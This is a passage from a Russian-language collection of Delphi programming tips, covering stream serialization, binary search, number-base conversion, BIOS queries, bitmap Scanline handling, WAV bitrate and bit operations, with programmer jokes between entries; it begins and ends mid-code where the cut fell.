   { Считываем код, сообщающий тип графического объекта,
   который необходимо создать... }
   Stream.Read(GraphicTypeCode, SizeOf(GraphicTypeCode));
 
   { Освобождаем текущий графический объект и пересоздаем его.. }
   FGraphic.Free;
   FGraphic := nil;
   case GraphicTypeCode of
     'B': FGraphic := TBitmap.Create;
     'I': FGraphic := TIcon.Create;
     'M': FGraphic := TMetafile.Create;
   end;
 
   { Загружаем из потока графику... }
   if FGraphic <> nil then
     FGraphic.LoadFromStream(Stream);
 
   { Ищем в потоке конечную позицию для данной записи. Почему мы это делаем?
   Я обнаружил это, когда графический объект читал себя из потока, и при этом
   "оставлял" позицию потока с самом его конце, а не в конце записи. Поэтому
   мог быть прочитан только один объект... }
   Stream.Seek(EndPosition, 0);
 end;
 
 procedure TAlbumRec.SaveToStream(Stream: TStream);
 var
   GraphicTypeCode: Char;
   StartPosition,
     EndPosition: LongInt;
 begin
   { Запоминаем позицию потока для дальнейшей записи наших объектов... }
   StartPosition := Stream.Position;
 
   { Здесь мы собираемся записать позицию где заканчиваются данные записи.
   Мы пока не знаем как это позиционируется, поэтому пока записываем ноль
   чтобы сохранить место... }
   EndPosition := 0;
   Stream.Write(EndPosition, SizeOf(EndPosition));
 
   { Записываем строку Delphi 1.0... }
   Stream.Write(FDescription[0], SizeOf(Byte));
   Stream.Write(FDescription[1], Byte(FDescription[0]));
 
   { Записываем целое... }
   Stream.Write(FItemType, SizeOf(FItemType));
 
   { Записываем код, сообщающий тип графического объекта,
   который мы собираемся писать... }
   if (FGraphic = nil) or (FGraphic.Empty) then
     GraphicTypeCode := 'Z'
   else if FGraphic is TBitmap then
     GraphicTypeCode := 'B'
   else if FGraphic is TIcon then
     GraphicTypeCode := 'I'
   else if FGraphic is TMetaFile then
     GraphicTypeCode := 'M';
   Stream.Write(GraphicTypeCode, SizeOf(GraphicTypeCode));
 
   { Записываем графику... }
   if (GraphicTypeCode <> 'Z') then
     FGraphic.SaveToStream(Stream);
 
   { Возвращаемся к месту откуда мы начинали и записываем
   конечную позицию, которую мы сохранили... }
   EndPosition := Stream.Position;
   Stream.Seek(StartPosition, 0);
   Stream.Write(EndPosition, SizeOf(EndPosition));
 
   { Возвращаем конечную позицию, после этого поток готов
   для следующей записи... }
   Stream.Seek(EndPosition, 0);
 end;
 
 procedure TAlbumRec.SetGraphic(AGraphic: TGraphic);
 begin
   FGraphic.Free;
   FGraphic := nil;
   if AGraphic <> nil then
   begin
     FGraphic := TGraphic(AGraphic.ClassType.Create);
     FGraphic.Assign(AGraphic);
   end;
 end;
 
 end.
 




Функция бинарного поиска

2025 год. Фирма Microsoft представляет собой корпорацию-государство. Билл Гейтс удалился в мир иной, на собрании акционеров выступает новый глава корпорации Вольдемар В. Жириновский:
- Вас обманывают эти подонки из INTEL, в процессоре UltraProPentiumMMX&MCMIX-4 содержатся ошибки, масоны захватили Internet, от работы с "мышью" прогрессирует геморрой, но самое главное - в 1 гигабайте не 1024, а 1023 мегабайта!


 function FoundByBinarySearch(
   LowIdx,
   HighIdx: LongInt;
   var Result: LongInt;
   const GoalIs: CompareFunc;
   var Data;
   var Goal
   ): Boolean;
 var
   CompVal: CompareResults;
 begin
   FoundByBinarySearch := FALSE;
 
   if HighIdx < LowIdx then
     Exit;
 
   Result := LowIdx + ((HighIdx - LowIdx) div 2);
   CompVal := GoalIs(Result, Data, Goal);
 
   if CompVal = BinEqual then
     FoundByBinarySearch := TRUE
   else if (LowIdx < HighIdx) then
   begin
     if CompVal = BinLess then
       HighIdx := Result - 1
     else {CompVal = BinGreater}
       LowIdx := Result + 1;
     FoundByBinarySearch := FoundByBinarySearch(
       LowIdx, HighIdx, Result, GoalIs, Data, Goal)
   end
   else if (CompVal = BinLess) then
     Dec(Result)
 end; { function FoundByBinarySearch }
 




Преобразование двоичного числа в десятичное

В мире 10 категорий людей - те, которые понимают двоичную систему счисления, и те, которые ее не понимают.


 /////////////////////////////////////////////////////////////////////////
 // преобразование 32-битного base2 в 32-битный base10                  //
 // максимальное число = 99 999 999, возвращает -1 при большем значении //
 /////////////////////////////////////////////////////////////////////////
 
 function Base10(Base2:Integer) : Integer; assembler;
 asm
 
 cmp        eax,100000000        // проверка максимального значения
 jb         @1                   // значение в пределах допустимого
 mov        eax,-1               // флаг ошибки
 jmp        @exit                // выход если -1
 @1:
 
 push       ebx                  // сохранение регистров
 push       esi
 xor        esi,esi              // результат = 0
 mov        ebx,10               // вычисление десятичного логарифма
 mov        ecx,8                // преобразование по формуле 10^8-1
 @2:
 
 mov        edx,0                // удаление разницы
 div        ebx                  // eax - целочисленное деление на 10, edx - остаток от деления на 10
 add        esi,edx              // результат = результат + разность[I]
 ror        esi,4                // перемещение разряда
 loop       @2                   // цикл для всех 8 разрядов
 mov        eax,esi              // результат функции
 pop        esi                  // восстанавление регистров
 pop        ebx
 @exit:
 end;
 




Преобразование двоичного числа в десятичное 2

- Сколько надо программистов, чтобы ввинтить электрическую лампочку?
- Два - один ввинчивает, а другой устрашающе стоит рядом с дубиной, чтобы не побежал ток.


 function IntToBin(Value: LongInt; Size: Integer): string;
 var
   i: Integer;
 begin
   Result := '';
   for i := Size downto 0 do
   begin
     if Value and (1 shl i) <> 0 then
     begin
       Result := Result + '1';
     end
     else
     begin
       Result := Result + '0';
     end;
   end;
 end;
 
 function BinToInt(Value: string): LongInt;
 var
   i, Size: Integer;
 begin
   Result := 0;
   Size := Length(Value);
   for i := Size downto 0 do
   begin
     if Copy(Value, i, 1) = '1' then
     begin
       Result := Result + (1 shl i);
     end;
   end;
 end;
 




Преобразование двоичного числа в десятичное 3

Следующая функция получает в качестве параметра Base (1..16) любую десятичную величину и возвращает результат в виде строки, содержащей точное значение BaseX. Вы можете использовать данный алгоритм для преобразования арабских чисел в римские (смотри ниже).


 function DecToBase(Decimal: LongInt; const Base: Byte): string;
 const
   Symbols: string[16] = '0123456789ABCDEF';
 var
   scratch: string;
   remainder: Byte;
 begin
   scratch := '';
   repeat
     remainder := Decimal mod Base;
     scratch := Symbols[remainder + 1] + scratch;
     Decimal := Decimal div Base;
   until (Decimal = 0);
   Result := scratch;
 end;
 




Связывание строки и компонента

Имеется возможность связать строку с каждым компонентом?

Поскольку свойство Tag имеет тип longint, вы можете приводить его к свойству Pointer или PChar. Итак, вы можете хранить указатель на запись, используя свойство Tag.

Примечание: Вы не сможете сохранить таким образом строку, указатель или что-то еще в режиме разработки. Это вы можете сделать только во время выполнения приложения. Взгляните на этот пример:


 var
   i: integer;
 begin
   for i := 0 to ComponentCount - 1 do
     if Components[i] is TEdit then
       Components[i].Tag := LongInt(NewStr('Привет '+IntToStr(i)));
 end;
 

Здесь мы организуем цикл и обходим все компоненты, расположенные на форме. Если компонент - TEdit, мы присваиваем указатель на строку свойству Tag. Функция NewStr возвращает PString (указатель на строку). Указатель, в основном, тождественен типу longint, или даже "лучше", т.е. занимает в памяти одинаковое количество байт. Следовательно, вы можете осуществить приведение к типу LongInt возвращаемому NewStr значению и сохранять его затем в свойстве Tag компонента TEdit. Имейте в виду, что это может быть указателем на целую запись. Теперь мы используем это значение:


 var
   i: integer;
 begin
   for i := 0 to ComponentCount - 1 do
     if Components[i] is TEdit then
     begin
       TEdit(Components[i]).Text := PString(Components[i].Tag)^;
       DisposeStr(PString(Components[i].Tag));
     end;
 end;
 

Здесь я опять "пробегаюсь" по всем компонентам и работаю только с TEdits. На этот раз я извлекаю значение свойства компонента Tag, приводя его к типу PString (Pointer to a string, указатель на строку), и присваивая это значение свойству компонента TEdit Text. Естественно, в данном случае я должен использовать ключевой символ (^). После этого я избавляюсь от строки, хранимой в компоненте TEdit. Важное замечание: если вы храните что-либо в свойстве TEdit Tag как указатель, вы являетесь ответственным за освобождение его содержимого.

Для вашей информации: поскольку объекты Delphi реально являются указателями на экземпляры класса, вы можете хранить объекты в свойстве Tag. Вы, наверное, помните, что для этого необходимо вызвать метод Free.

Спешу вам предложить три метода, позволяющих использовать Tag для получения доступа к строкам с возможностью передачи от приложения к приложению.

  1. Если ваши строки никогда не меняются, вы можете создать строковый ресурс в Resource Workshop (или эквиваленте) и использовать Tag как индексы к таблице строк.
  2. Используйте TIniFile, создавайте секцию для ваших строк и присвойте каждой строке имя и число, т.е. ваш ini-файл должен иметь секцию типа такой:
      [strings]
       string1=Aristotle
       string2=Plato
       string3=Хорошо что это Delphi, в конце концов
    Затем вы можете к ним обратиться следующим образом:

  3.  var s1: string;
     ...
     s1 := IniFile1.ReadString('strings', 'string'+IntToStr(Tag), '');
     

  4. Поместите ваши строки в файл, сопровождая каждую символом перевода строки. Затем вы можете прочесть их в TStringList. Затем ваши Tag'и становятся индексами в данном StringList:

  5.  StringList1.LoadFromFile('slist.txt');
     ...
     s1 := StringList1[Tag];
     

Все три способа работают в Delphi, я я думаю это самое простое решение.




Как получить информацию о BIOS в Windows 9x

- Обидится ли девушка, если ее назвать Bios-ом?
- Наверное, нет! ...если уточнить, что Bios - это базовая система ввода-вывода.


 procedure TForm1.Button1Click(Sender: TObject);
 begin
  with Memo1.Lines do
  begin
   Add('MainBoardBiosName: '+string(Pchar(Ptr($FE061))));
   Add('MainBoardBiosCopyRight: '+string(Pchar(Ptr($FE091))));
   Add('MainBoardBiosDate: '+string(Pchar(Ptr($FFFF5))));
   Add('MainBoardBiosSerialNo: '+string(Pchar(Ptr($FEC71))));
  end;
 end;
 




Как получить информацию о BIOS в Windows NT, 2000, XP, 7


В NT/2000/XP не получится прочитать значения прямо из BIOS, однако, ничего не мешает нам считать нужные значения из реестра.


 procedure TBIOSInfo.GetRegInfoWinNT;
 var
   Registryv: TRegistry;
   RegPath: string;
   sl: TStrings;
 begin
   Params.Clear;
   RegPath := '\HARDWARE\DESCRIPTION\System';
   registryv := tregistry.Create;
   registryv.rootkey := HKEY_LOCAL_MACHINE;
   sl := nil;
   try
     registryv.Openkey(RegPath, false);
     ShowMessage('BIOS Date: ' + RegistryV.ReadString('SystemBiosDate'));
     sl := ReadMultirowKey(RegistryV, 'SystemBiosVersion');
     ShowMessage('BIOS Version: ' + sl.Text);
   except
   end;
   Registryv.Free;
   if Assigned(sl) then
     sl.Free;
 end;
 

На всякий пожарный:


 // следующий метод получает многострочные значения из реестра
 // и преобразует их в TStringlist
 
 function ReadMultirowKey(reg: TRegistry; Key: string): TStrings;
 const
   bufsize = 100;
 var
   i: integer;
   s1: string;
   sl: TStringList;
   bin: array[1..bufsize] of char;
 begin
   try
     result := nil;
     sl := nil;
     sl := TStringList.Create;
     if not Assigned(reg) then
       raise Exception.Create('TRegistry object not assigned.');
     FillChar(bin, bufsize, #0);
     reg.ReadBinaryData(Key, bin, bufsize);
     i := 1;
     s1 := '';
     while i < bufsize do
     begin
       if ord(bin[i]) >= 32 then
         s1 := s1 + bin[i]
       else
       begin
         if Length(s1) > 0 then
         begin
           sl.Add(s1);
           s1 := '';
         end;
       end;
       inc(i);
     end;
     result := sl;
   except
     sl.Free;
     raise;
   end;
 end;
 




Как поместить прозрачный текст на Canvas TBitmap

Автор: Олег Кулабухов


 procedure TForm1.Button1Click(Sender: TObject);
 var
   OldBkMode: integer;
 begin
   Image1.Picture.Bitmap.Canvas.Font.Color := clBlue;
   OldBkMode := SetBkMode(Image1.Picture.Bitmap.Canvas.Handle, TRANSPARENT);
   Image1.Picture.Bitmap.Canvas.TextOut(10, 10, 'Hello');
   SetBkMode(Image1.Picture.Bitmap.Canvas.Handle, OldBkMode);
 end;
 




Bitmap в StringGrid ячейке

В обработчике события OnDrawCell элемента StringGrid поместите следующий код:


 with (Sender as TStringGrid) do
   with Canvas do
   begin
     {...}
     Draw(Rect.Left, Rect.Top, Image1.Picture.Graphic);
     {...}
   end;
 

Используйте метод Draw() или StretchDraw() класса TCanvas. Image1 - это TImage с предварительно загруженным в него bitmap-ом.




Bitmap.Scanline для PixelFormat

Кто-то из Италии попросил меня пример использования pf1bit в изображениях (Bitmaps), я послал часто ответа из имеющихся заготовок, подумал, и добавил здесь другие детали для pf8bit и pf24bit.

Общее

Новое в Delphi 3 свойство scanline допускает быстрый доступ к отдельным пикселям, но необходимо указать с каким Bitmap.PixelFormat вы работаете, прежде чем сможете иметь доступ к пикселям.

Возможные PixelFormats включают:

  1. pfDevice
  2. pf1bit
  3. pf4bit
  4. pf8bit
  5. pf15bit
  6. pf16bit
  7. pf24bit
  8. pf32bit
pf24bit-изображения

Для pf24bit-изображений необходимо определить:


 CONST
 PixelCountMax = 32768;
 
 TYPE
 pRGBArray = ^TRGBArray;
 TRGBArray = ARRAY[0..PixelCountMax-1] OF TRGBTriple;
 

Примечание: TRGBTriple определен в модуле Windows.PAS.

Для того, чтобы к существующему 24-битному изображению иметь доступ как к изображению, созданному с разрешением 3 байта на пиксел, сделайте следующее:


 ...
 VAR
 i           :  INTEGER;
 j           :  INTEGER;
 RowOriginal :  pRGBArray;
 RowProcessed:  pRGBArray;
 BEGIN
 IF   OriginalBitmap.PixelFormat <> pf24bit
 THEN RAISE EImageProcessingError.Create('GetImageSpace:  ' +
 'Изображение должно быть 24-х битным.');
 
 
 {Шаг через каждую строчку изображения.}
 FOR j := OriginalBitmap.Height-1 DOWNTO 0 DO
 BEGIN
 RowOriginal  := pRGBArray(OriginalBitmap.Scanline[j]);
 RowProcessed := pRGBArray(ProcessedBitmap.Scanline[j]);
 
 
 FOR i := OriginalBitmap.Width-1 DOWNTO 0 DO
 BEGIN
 
 //           Доступ к RGB-цветам отдельных пикселей должен осуществляться следующим образом:
 //           RowProcessed[i].rgbtRed     := RowOriginal[i].rgbtRed;
 //           RowProcessed[i].rgbtGreen   := RowOriginal[i].rgbtGreen;
 //           RowProcessed[i].rgbtBlue    := RowOriginal[i].rgbtBlue;
 
 
 END
 
 
 END
 ...
 

pf8bit-изображения

Доступ к такому формату изображения легко получить, используя TByteArray (определен в SysUtils.PAS):


 PByteArray = ^TByteArray;
 TByteArray = array[0..32767] of Byte;
 

(Я думаю (но сам этого не пробовал), что вы сможете получить доступ к pf16bit-изображениям, используя следующие определения в SysUtils.PAS:


 PWordArray = ^TWordArray;
 TWordArray = array[0..16383] of Word;
 

Для того, чтобы обработать 8-битное (pf8bit) изображение, используйте конструктор подобный этому, который создает гистограмму изображения:


 TYPE
 THistogram  = ARRAY[0..255] OF INTEGER;
 ...
 
 
 VAR
 Histogram:  THistogram;
 i      :  INTEGER;
 j      :  INTEGER;
 Row    :  pByteArray;
 
 
 ...
 FOR i := Low(THistogram) TO High(THistogram) DO
 Histogram[i] := 0;
 
 
 IF  Bitmap.PixelFormat = pf8bit
 THEN BEGIN
 
 
 FOR j := Bitmap.Height-1 DOWNTO 0 DO
 BEGIN
 Row  := pByteArray(Bitmap.Scanline[j]);
 FOR i := Bitmap.Width-1 DOWNTO 0 DO
 BEGIN
 INC (Histogram[Row[i]])
 END
 END
 
 
 END
 ...
 

pf1bit-изображения

Доступ к pf8bit-изображениям осуществляется достаточно легко, с тех пор, как они стали использовать один байт на пиксель. Но вы можете сохранить много памяти, если вам необходим единственный бит на пиксель (как, например, с различными масками) в случае pf1bit-изображения.

Как и в случае с pf8bit-изображениями, используйте TByteArray для доступа к pf1bit-ным линиям чередования (Scanlines). Но для доступа к отдельным пикселям вам понадобиться работать с битами отдельного байта. Так, ширина линии чередования равна Bitmap.Width DIV 8 байт.

Нижеприведенный код показывает как можно создать шаблон 1-битного изображения: черный, белый, полоски, "g", "стрелка" и случайный -- опция "инвертировано" также доступна. (Надеюсь, технологию вы освоете без труда.)

Создайте форму с Image1: для TImage я использую одно изображение Image1 размером 256x256 и свойством Stretch := TRUE, чтобы отдельные пиксели было легко разглядеть. Кнопки Black, White и Stripes имеют свойство tags, c соответствующими значениями 0, 255, и 85 ($55 = 01010101 в двоичной системе исчисления), вызывающие при нажатии обработчик события ButtonStripesClick.

Кнопки "g" и "arrow" имеют собственные обработчики событий, позволяющие корректно распечатать тестовые изображения на принтере HP Laserjet.

"Random" случайным образом устанавливает биты в 1-битном изображении.

"Invert" меняет нули на единички и наоборот.


 // Пример того, как использовать Bitmap.Scanline для PixelFormat=pf1Bit.
 // По просьбе Mino Ballone из Италии.
 //
 // Авторское право (C) 1997, Earl F. Glynn, Overland Park, KS.
 // Все права защищены.
 // Может свободно использоваться для некоммерческих целей.
 
 unit ScreenSingleBit;
 
 interface
 
 uses
 
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls, ExtCtrls;
 
 type
 
   TForm1 = class(TForm)
     Image1: TImage;
     ButtonBlack: TButton;
     ButtonWhite: TButton;
     ButtonStripes: TButton;
     ButtonG: TButton;
     ButtonArrow: TButton;
     ButtonRandom: TButton;
     ButtonInvert: TButton;
     procedure ButtonStripesClick(Sender: TObject);
     procedure ButtonGClick(Sender: TObject);
     procedure FormCreate(Sender: TObject);
     procedure FormDestroy(Sender: TObject);
     procedure ButtonRandomClick(Sender: TObject);
     procedure ButtonInvertClick(Sender: TObject);
     procedure ButtonArrowClick(Sender: TObject);
   private
     Bitmap: TBitmap;
     { Private declarations }
   public
     { Public declarations }
   end;
 
 var
 
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 const
 
   BitsPerPixel = 8;
 
 procedure TForm1.ButtonStripesClick(Sender: TObject);
 
 var
   i: INTEGER;
   j: INTEGER;
   Row: pByteArray;
   Value: BYTE;
 begin
 
   Value := (Sender as TButton).Tag;
   // Value = $00 = 00000000 в двоичном исчислении для черного
   // Value = $FF = 11111111 в двоичном исчислении для белого
   // Value = $55 = 01010101 в двоичном исчислении для черных и белых полос
 
   for j := 0 to Bitmap.Height - 1 do
   begin
     Row := pByteArray(Bitmap.Scanline[j]);
     for i := 0 to (Bitmap.Width div BitsPerPixel) - 1 do
     begin
       Row[i] := Value
     end
   end;
 
   Image1.Picture.Graphic := Bitmap
 end;
 
 procedure TForm1.ButtonGClick(Sender: TObject);
 
 const
   {Изображение "g" было адаптировано для печати на принтере
   LaserJet IIP в соответствии с техническим руководством}
 
   G: array[0..31, 0..3] of BYTE =
   { 0}(($00, $FC, $0F, $C0), {00000000 11111100 00001111 11000000}
     { 1}($07, $FF, $1F, $E0), {00000111 11111111 00011111 11100000}
     { 2}($0F, $FF, $9F, $C0), {00001111 11111111 10011111 11000000}
     { 3}($3F, $D7, $DE, $00), {00111111 11010111 11011110 00000000}
     { 4}($3E, $01, $FE, $00), {00111110 00000001 11111110 00000000}
     { 5}($7C, $00, $7E, $00), {01111100 00000000 01111110 00000000}
     { 6}($78, $00, $7E, $00), {01111000 00000000 01111110 00000000}
     { 7}($F0, $00, $3E, $00), {11110000 00000000 00111110 00000000}
     { 8}($F0, $00, $3E, $00), {11110000 00000000 00111110 00000000}
     { 9}($F0, $00, $1E, $00), {11110000 00000000 00011110 00000000}
     {10}($F0, $00, $1E, $00), {11110000 00000000 00011110 00000000}
     {11}($F0, $00, $1E, $00), {11110000 00000000 00011110 00000000}
     {12}($F0, $00, $1E, $00), {11110000 00000000 00011110 00000000}
     {13}($F0, $00, $3E, $00), {11110000 00000000 00111110 00000000}
     {14}($78, $00, $3E, $00), {01111000 00000000 00111110 00000000}
     {15}($78, $00, $3E, $00), {01111000 00000000 00111110 00000000}
     {16}($78, $00, $7E, $00), {01111000 00000000 01111110 00000000}
     {17}($3C, $00, $FE, $00), {00111100 00000000 11111110 00000000}
     {18}($1F, $D7, $DE, $00), {00011111 11010111 11011110 00000000}
     {19}($0F, $FF, $5E, $00), {00001111 11111111 10011110 00000000}
     {20}($07, $FF, $1E, $00), {00000111 11111111 00011110 00000000}
     {21}($00, $A8, $1E, $00), {00000000 10101000 00011110 00000000}
     {22}($00, $00, $1E, $00), {00000000 00000000 00011110 00000000}
     {23}($00, $00, $1E, $00), {00000000 00000000 00011110 00000000}
     {24}($00, $00, $1E, $00), {00000000 00000000 00011110 00000000}
     {25}($00, $00, $3E, $00), {00000000 00000000 00111110 00000000}
     {26}($00, $00, $3C, $00), {00000000 00000000 00111100 00000000}
     {27}($00, $00, $7C, $00), {00000000 00000000 01111100 00000000}
     {28}($00, $01, $F8, $00), {00000000 00000001 11111000 00000000}
     {29}($01, $FF, $F0, $00), {00000001 11111111 11110000 00000000}
     {30}($03, $FF, $E0, $00), {00000011 11111111 11100000 00000000}
     {31}($01, $FF, $80, $00)); {00000001 11111111 10000000 00000000}
 
 var
   i: INTEGER;
   j: INTEGER;
   Row: pByteArray;
 begin
 
   for j := 0 to Bitmap.Height - 1 do
   begin
     Row := pByteArray(Bitmap.Scanline[j]);
     for i := 0 to (Bitmap.Width div BitsPerPixel) - 1 do
     begin
       Row[i] := G[j, i]
     end
   end;
 
   Image1.Picture.Graphic := Bitmap
 end;
 
 procedure TForm1.ButtonArrowClick(Sender: TObject);
 
 const
   {Изображение "стрелка" было адаптировано для печати на принтере
   LaserJet IIP в соответствии с техническим руководством}
 
   Arrow: array[0..31, 0..3] of BYTE =
   { 0}(($00, $00, $80, $00), {00000000 00000000 10000000 00000000}
     { 1}($00, $00, $C0, $00), {00000000 00000000 11000000 00000000}
     { 2}($00, $00, $E0, $00), {00000000 00000000 11100000 00000000}
     { 3}($00, $00, $F0, $00), {00000000 00000000 11110000 00000000}
     { 4}($00, $00, $F8, $00), {00000000 00000000 11111000 00000000}
     { 5}($00, $00, $FC, $00), {00000000 00000000 11111100 00000000}
     { 6}($00, $00, $FE, $00), {00000000 00000000 11111110 00000000}
     { 7}($00, $00, $FF, $00), {00000000 00000000 11111111 00000000}
     { 8}($00, $00, $FF, $80), {00000000 00000000 11111111 10000000}
     { 9}($FF, $FF, $FF, $C0), {11111111 11111111 11111111 11000000}
     {10}($FF, $FF, $FF, $E0), {11111111 11111111 11111111 11100000}
     {11}($FF, $FF, $FF, $F0), {11111111 11111111 11111111 11110000}
     {12}($FF, $FF, $FF, $F8), {11111111 11111111 11111111 11111000}
     {13}($FF, $FF, $FF, $FC), {11111111 11111111 11111111 11111100}
     {14}($FF, $FF, $FF, $FE), {11111111 11111111 11111111 11111110}
     {15}($FF, $FF, $FF, $FF), {11111111 11111111 11111111 11111111}
     {16}($FF, $FF, $FF, $FF), {11111111 11111111 11111111 11111111}
     {17}($FF, $FF, $FF, $FE), {11111111 11111111 11111111 11111110}
     {18}($FF, $FF, $FF, $FC), {11111111 11111111 11111111 11111100}
     {19}($FF, $FF, $FF, $F8), {11111111 11111111 11111111 11111000}
     {20}($FF, $FF, $FF, $F0), {11111111 11111111 11111111 11110000}
     {21}($FF, $FF, $FF, $E0), {11111111 11111111 11111111 11100000}
     {22}($FF, $FF, $FF, $C0), {11111111 11111111 11111111 11000000}
     {23}($00, $00, $FF, $80), {00000000 00000000 11111111 10000000}
     {24}($00, $00, $FF, $00), {00000000 00000000 11111111 00000000}
     {25}($00, $00, $FE, $00), {00000000 00000000 11111110 00000000}
     {26}($00, $00, $FC, $00), {00000000 00000000 11111100 00000000}
     {27}($00, $00, $F8, $00), {00000000 00000000 11111000 00000000}
     {28}($00, $00, $F0, $00), {00000000 00000000 11110000 00000000}
     {29}($00, $00, $E0, $00), {00000000 00000000 11100000 00000000}
     {30}($00, $00, $C0, $00), {00000000 00000000 11000000 00000000}
     {31}($00, $00, $80, $00)); {00000000 00000000 10000000 00000000}
 
 var
   i: INTEGER;
   j: INTEGER;
   Row: pByteArray;
 begin
 
   for j := 0 to Bitmap.Height - 1 do
   begin
     Row := pByteArray(Bitmap.Scanline[j]);
     for i := 0 to (Bitmap.Width div BitsPerPixel) - 1 do
     begin
       Row[i] := arrow[j, i]
     end
   end;
 
   Image1.Picture.Graphic := Bitmap
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
 
   Bitmap := TBitmap.Create;
   with Bitmap do
   begin
     Width := 32;
     Height := 32;
     PixelFormat := pf1bit
   end;
   Image1.Picture.Graphic := Bitmap
 end;
 
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
 
   Bitmap.Free
 end;
 
 procedure TForm1.ButtonRandomClick(Sender: TObject);
 
 var
   i: INTEGER;
   j: INTEGER;
   Row: pByteArray;
 begin
 
   for j := 0 to Bitmap.Height - 1 do
   begin
     Row := pByteArray(Bitmap.Scanline[j]);
     for i := 0 to (Bitmap.Width div BitsPerPixel) - 1 do
     begin
       Row[i] := Random(256)
     end
   end;
 
   Image1.Picture.Graphic := Bitmap
 end;
 
 procedure TForm1.ButtonInvertClick(Sender: TObject);
 
 var
   i: INTEGER;
   j: INTEGER;
   Row: pByteArray;
 begin
 
   for j := 0 to Bitmap.Height - 1 do
   begin
     Row := pByteArray(Bitmap.Scanline[j]);
     for i := 0 to (Bitmap.Width div BitsPerPixel) - 1 do
     begin
       Row[i] := not Row[i]
     end
   end;
 
   Image1.Picture.Graphic := Bitmap
 end;
 
 end.
 




Как преобразовать BMP в WMF


 procedure ConvertBMP2WMF
   (const BMPFileName, WMFFileName: TFileName);
 var
   MetaFile: TMetafile;
   Bitmap: TBitmap;
 begin
   Metafile := TMetaFile.Create;
   Bitmap := TBitmap.Create;
   try
     Bitmap.LoadFromFile(BMPFileName);
     with MetaFile do
     begin
       Height := Bitmap.Height;
       Width := Bitmap.Width;
       Canvas.Draw(0, 0, Bitmap);
       SaveToFile(WMFFileName);
     end;
   finally
     Bitmap.Free;
     MetaFile.Free;
   end;
 end;
 
 // Использование:
 ConvertBMP2WMF('c:\mypic.bmp', 'c:\mypic.wmf')
 




Bitmap без формы

Автор: Mike Scott

- Как жизнь?
- Слоями...
Adobe Photoshop

Как мне загрузить изображение (BMP) и отобразить это на рабочем столе без использования формы? (Я хочу отображать это из DLL).

Существует один способ сделать это: создать холст TCanvas, получить контекст устройства для рабочего стола и назначить его дескриптору холста. После рисования на холсте десктоп отобразит ваше творение. Вот пример:


 var
   DesktopCanvas: TCanvas;
 begin
   DesktopCanvas := TCanvas.Create;
   try
     DesktopCanvas.Handle := GetDC(0);
     try
       DesktopCanvas.MoveTo(0, 0);
       DesktopCanvas.LineTo(Screen.Width, Screen.Height);
     finally
       ReleaseDC(0, DesktopCanvas.Handle);
       DesktopCanvas.Handle := 0;
     end;
   finally
     DesktopCanvas.Free;
   end;
 end;
 

Вы можете создать TBitmap и загрузить в него BMP-файл. Единственная гнустная вещь может произойти, если вы используете изображение с 256-цветной палитрой при работе в режиме с 256 цветами. Обойти это припятствие можно так: создать форму без границ и заголовка, установить ее высоту и ширину в ноль, поместить на нее компонент TImage и загрузить в него необходимое изображение. VCL реализует для вас нужную палитру.




Определить битрейт WAV файла


 {....}
 
   private
     procedure OpenMedia(WaveFile : string);
     function GetStatus(StatusRequested : DWord) : longint;
     procedure CloseMedia;
 
 {....}
 
 var
   MyError, dwFlags: Longint;
   FDeviceID : Word;
 
 {....}
 
 uses
   MMSystem;
 
 {....}
 
 procedure TForm1.OpenMedia(WaveFile: string);
 var
   MyOpenParms: TMCI_Open_Parms;
 begin
   with MyOpenParms do
   begin
     dwCallback       := Handle; // TForm1.Handle 
     lpstrDeviceType  := PChar('WaveAudio');
     lpstrElementName := PChar(WaveFile);
   end; {with MyOpenParms}
   dwFlags := MCI_WAIT or MCI_OPEN_ELEMENT or MCI_OPEN_TYPE;
   MyError := mciSendCommand(0, MCI_OPEN, dwFlags, Longint(@MyOpenParms));
   // one could use mciSendCommand(DevId, here to specify a particular device 
   if MyError = 0 then
     FDeviceID := MyOpenParms.wDeviceID
   else
     raise Exception.Create('Open Failed');
 end;
 
 function TForm1.GetStatus(StatusRequested: DWORD): Longint;
 var
   MyStatusParms: TMCI_Status_Parms;
 begin
   dwFlags := MCI_WAIT or MCI_STATUS_ITEM;
   with MyStatusParms do
   begin
     dwCallback := Handle;
     dwItem     := StatusRequested;
   end;
   MyError := mciSendCommand(FDeviceID,
     MCI_STATUS,
     MCI_WAIT or MCI_STATUS_ITEM,
     Longint(@MyStatusParms));
   if MyError = 0 then
     Result := MyStatusParms.dwReturn
   else
     raise Exception.Create('Status call to get status of ' +
       IntToStr(StatusRequested) + ' Failed');
 end;
 
 procedure TForm1.CloseMedia;
 var
   MyGenParms: TMCI_Generic_Parms;
 begin
   if FDeviceID > 0 then
   begin
     dwFlags := 0;
     MyGenParms.dwCallback := Handle; // TForm1.Handle 
     MyError := mciSendCommand(FDeviceID, MCI_CLOSE, dwFlags, Longint(@MyGenParms));
     if MyError = 0 then
       FDeviceID := 0
     else
     begin
       raise Exception.Create('Close Failed');
     end;
   end;
 end;
 
 
 //Example: 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if OpenDialog1.Execute then
   begin
     OpenMedia(OpenDialog1.FileName);
     with ListBox1.Items do
     begin
       Add('Average Bytes / Sec : ' + IntToStr(GetStatus(MCI_WAVE_STATUS_AVGBYTESPERSEC)));
       Add('Bits / Sample : ' + IntToStr(GetStatus(MCI_WAVE_STATUS_BITSPERSAMPLE)));
       Add('Samples / Sec : ' + IntToStr(GetStatus(MCI_WAVE_STATUS_SAMPLESPERSEC)));
       Add('Channels : ' + IntToStr(GetStatus(MCI_WAVE_STATUS_CHANNELS)));
     end;
     CloseMedia;
   end;
 end;
 




Как в байте информации выделить биты

В Delphi используй операцию and, которая возвращает результат побитового умножения. Пример a and $10 — выделить 4-ый бит. Если результат не ноль — бит установлен.

То же самое, но на ассемблере. Это позволяет достичь максимальной скорости выполнения.


 function GetBites(t, Mask: LongWord): LongWord; asm
   mov eax, t;
   and eax, mask;
 end;
 

Эта функция возвращает t and Mask. Если необходимо выполнить сдвиг, то применяется команда shr:


 function ShiftBites(t, Mask: LongWord; shift: byte): LongWord; asm
   mov eax, t;
   mov cl, shift;
   shr eax;
   and eax, Mask;
 end;
 

Эта функция возвращает (t shr shift) and Mask. Если же ассемблер не поможет, надо или переделывать алгоритм, или менять компьютер :))




Управление битами

Существует ли "человеческий" способ гашения и выставления битов?


 {******************************************
